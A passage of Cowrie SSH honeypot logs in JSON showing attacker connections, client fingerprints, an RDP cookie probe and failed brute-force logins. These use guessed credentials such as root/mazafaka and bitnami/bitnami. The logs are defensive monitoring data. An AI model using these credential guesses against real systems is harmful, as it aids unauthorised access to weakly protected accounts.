a2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:10:14.119277Z","src_ip":"103.27.238.120","session":"3ba7215deee9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890qw","message":"login attempt [root/1234567890qw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:10:14.887979Z","src_ip":"103.27.238.120","session":"3ba7215deee9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:10:16.148928Z","src_ip":"103.27.238.120","session":"3ba7215deee9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.29.69","src_port":41516,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed274b6a5c02","protocol":"ssh","message":"New connection: 43.130.29.69:41516 (159.203.135.109:22) [session: ed274b6a5c02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:11:19.422089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:11:19.426477Z","src_ip":"43.130.29.69","session":"ed274b6a5c02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:11:19.494902Z","src_ip":"43.130.29.69","session":"ed274b6a5c02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitnami","password":"bitnami","message":"login attempt [bitnami/bitnami] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:11:19.799681Z","src_ip":"43.130.29.69","session":"ed274b6a5c02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:11:20.871134Z","src_ip":"43.130.29.69","session":"ed274b6a5c02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":41896,"dst_ip":"10.17.0.5","dst_port":22,"session":"32bfaef08ce4","protocol":"ssh","message":"New connection: 147.45.197.250:41896 (10.17.0.5:22) [session: 32bfaef08ce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:12:20.317008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:12:20.321798Z","src_ip":"147.45.197.250","session":"32bfaef08ce4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:12:20.410523Z","src_ip":"147.45.197.250","session":"32bfaef08ce4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mazafaka","message":"login attempt [root/mazafaka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:12:20.678886Z","src_ip":"147.45.197.250","session":"32bfaef08ce4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:12:21.771918Z","src_ip":"147.45.197.250","session":"32bfaef08ce4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":57434,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff9fd55de015","protocol":"ssh","message":"New connection: 62.133.62.83:57434 (10.17.0.5:22) [session: ff9fd55de015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:12:22.209658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:12:22.214323Z","src_ip":"62.133.62.83","session":"ff9fd55de015","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:12:22.293507Z","src_ip":"62.133.62.83","session":"ff9fd55de015","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ytngfhjkz","message":"login attempt [root/ytngfhjkz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:12:22.534082Z","src_ip":"62.133.62.83","session":"ff9fd55de015","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:12:23.632361Z","src_ip":"62.133.62.83","session":"ff9fd55de015","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.29.69","src_port":41290,"dst_ip":"159.203.135.109","dst_port":22,"session":"31ca52fca197","protocol":"ssh","message":"New connection: 43.130.29.69:41290 (159.203.135.109:22) [session: 31ca52fca197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:12:30.499992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:12:30.505269Z","src_ip":"43.130.29.69","session":"31ca52fca197","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:12:30.574202Z","src_ip":"43.130.29.69","session":"31ca52fca197","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mapadmin","password":"mapadmin@123","message":"login attempt [mapadmin/mapadmin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:12:30.880920Z","src_ip":"43.130.29.69","session":"31ca52fca197","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:12:31.952794Z","src_ip":"43.130.29.69","session":"31ca52fca197","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":41346,"dst_ip":"10.17.0.5","dst_port":22,"session":"f65c63273f36","protocol":"ssh","message":"New connection: 103.183.114.55:41346 (10.17.0.5:22) [session: f65c63273f36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:13:08.572978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:13:08.578048Z","src_ip":"103.183.114.55","session":"f65c63273f36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:13:08.800927Z","src_ip":"103.183.114.55","session":"f65c63273f36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789i","message":"login attempt [root/123456789i] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:13:09.468775Z","src_ip":"103.183.114.55","session":"f65c63273f36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:13:10.693313Z","src_ip":"103.183.114.55","session":"f65c63273f36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":46020,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ab4c624bb7c","protocol":"ssh","message":"New connection: 194.59.206.2:46020 (10.17.0.5:22) [session: 5ab4c624bb7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:13:23.777512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:13:23.782723Z","src_ip":"194.59.206.2","session":"5ab4c624bb7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:13:23.875146Z","src_ip":"194.59.206.2","session":"5ab4c624bb7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:13:23.970105Z","src_ip":"194.59.206.2","session":"5ab4c624bb7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":57655,"dst_ip":"10.17.0.5","dst_port":22,"session":"b86acf849a33","protocol":"ssh","message":"New connection: 152.42.212.128:57655 (10.17.0.5:22) [session: b86acf849a33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:13:37.727843Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:13:37.733007Z","src_ip":"152.42.212.128","session":"b86acf849a33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:13:37.737211Z","src_ip":"152.42.212.128","session":"b86acf849a33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.29.69","src_port":51108,"dst_ip":"159.203.135.109","dst_port":22,"session":"41cbfd6523c3","protocol":"ssh","message":"New connection: 43.130.29.69:51108 (159.203.135.109:22) [session: 41cbfd6523c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:13:42.162748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:13:42.167058Z","src_ip":"43.130.29.69","session":"41cbfd6523c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:13:42.238311Z","src_ip":"43.130.29.69","session":"41cbfd6523c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"actions","password":"actions","message":"login attempt [actions/actions] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:13:42.543030Z","src_ip":"43.130.29.69","session":"41cbfd6523c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:13:43.613974Z","src_ip":"43.130.29.69","session":"41cbfd6523c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":44746,"dst_ip":"159.203.135.109","dst_port":22,"session":"421251ed9413","protocol":"ssh","message":"New connection: 103.149.170.125:44746 (159.203.135.109:22) [session: 421251ed9413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:14:06.509406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:14:06.516000Z","src_ip":"103.149.170.125","session":"421251ed9413","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 